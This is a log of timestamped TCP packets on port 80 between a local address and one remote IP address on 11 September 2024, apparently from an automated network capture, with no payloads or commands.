Sep 11, 2024 18:23:57.061490059 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.061499119 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.061518908 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.061542988 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.062109947 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.062119961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.062128067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.062136889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.062145948 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.062154055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.062159061 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.062164068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.062172890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.062177896 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.062180996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.062190056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.062200069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.062203884 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.062208891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.062216997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.062226057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.062232971 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.062236071 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.062244892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.062252998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.062264919 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.062282085 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.062323093 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.063746929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.063757896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.063800097 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.063889027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.063900948 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.063936949 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.064026117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.064034939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.064043045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.064073086 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.064110994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.064121008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.064162016 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.064281940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.064291954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.064300060 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.064327002 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.064340115 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.064481020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.064492941 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.064501047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.064528942 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.064542055 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.064655066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.064663887 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.064701080 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.067265034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067275047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067281961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067290068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067301035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067308903 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067320108 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067320108 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.067328930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067337036 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.067337990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067347050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067357063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067365885 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.067365885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067399979 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.067403078 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067411900 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.067414999 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067423105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067431927 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067441940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067445040 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.067450047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067459106 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067462921 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.067467928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067476034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067481995 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.067485094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067495108 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067501068 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.067502022 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067512989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067512989 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.067534924 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.067548037 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.067554951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067564011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067570925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067580938 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067589998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067598104 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067600012 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.067606926 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067615986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067625046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067631006 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.067635059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067643881 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067652941 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067662001 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.067662954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067671061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067677021 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.067702055 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.067703009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067711115 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.067713022 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067720890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067730904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067742109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067749977 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067749977 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.067759037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067766905 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.067768097 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067775965 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067784071 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067784071 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.067795038 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067800045 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.067805052 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067815065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067823887 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067825079 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.067866087 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067874908 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.067899942 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.067899942 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.067912102 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.556653023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.556660891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.556665897 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.556670904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.556674957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.556679010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.556855917 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.556855917 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.556855917 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.805293083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.805299997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.805308104 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.805316925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.805321932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.805377960 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.805385113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.805393934 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.805402040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.805414915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.805422068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.805442095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.805447102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.805454969 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.805463076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.805485964 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.805485964 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.805550098 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.805907011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.805913925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.805921078 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.805929899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.805934906 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.805941105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.805962086 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.805968046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.805974007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.805982113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.805986881 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.805994034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.806001902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.806006908 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.806014061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.806022882 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.806029081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.806035042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.806035995 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.806035995 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.806042910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.806080103 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.806097984 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.806896925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.806905985 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.806912899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.806919098 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.806926966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.806931973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.806947947 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.806955099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.806958914 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.806966066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.806972980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.806978941 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.806984901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.806994915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.806999922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.807005882 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.807012081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.807012081 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.807017088 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.807024002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.807050943 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.807084084 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.807084084 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.807837009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.807847023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.807852030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.807857990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.807866096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.807872057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.807887077 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.807893991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.807898998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.807904959 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.807913065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.807919025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.807925940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.807934046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.807940006 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.807945967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.807952881 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.807957888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.807965040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.808026075 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.808026075 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.808769941 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.808779001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.808784962 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.808790922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.808799028 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.808804035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.808809996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.808816910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.808820963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.808828115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.808835983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.808841944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.808847904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.808855057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.808860064 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.808866024 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.808866024 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.808866978 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.808876038 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.808881998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.808888912 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.808932066 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.808932066 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.809753895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.809778929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.809784889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.809792042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.809798956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.809804916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.809812069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.809818029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.809823990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.809825897 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.809825897 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.809830904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.809839010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.809844971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.809850931 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.809859037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.809864044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.809870005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.809875965 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.809881926 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.809889078 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.809895992 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.809906960 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.809907913 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.809932947 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.809946060 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.810640097 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.810647964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.810652971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.810659885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.810667038 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.810672998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.810678959 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.810684919 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.810693026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.810698986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.810714006 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.810722113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.810728073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.810789108 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.810789108 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.868702888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.868715048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.868722916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.868727922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.868733883 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.868741035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.868747950 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.868753910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.868761063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.868766069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.868801117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.868807077 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.868936062 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.868936062 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.868952990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.868958950 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.868966103 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.868973017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.868978977 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.868985891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.868993044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.868997097 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.869003057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.869009972 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.869014978 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.869020939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.869028091 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.869033098 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.869039059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.869045973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.869050980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.869057894 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.869086027 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.869086027 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.869112968 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.869894981 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.869900942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.869908094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.869915009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.869920969 CEST	80	49710	104.21.14.133	192.168.2.5
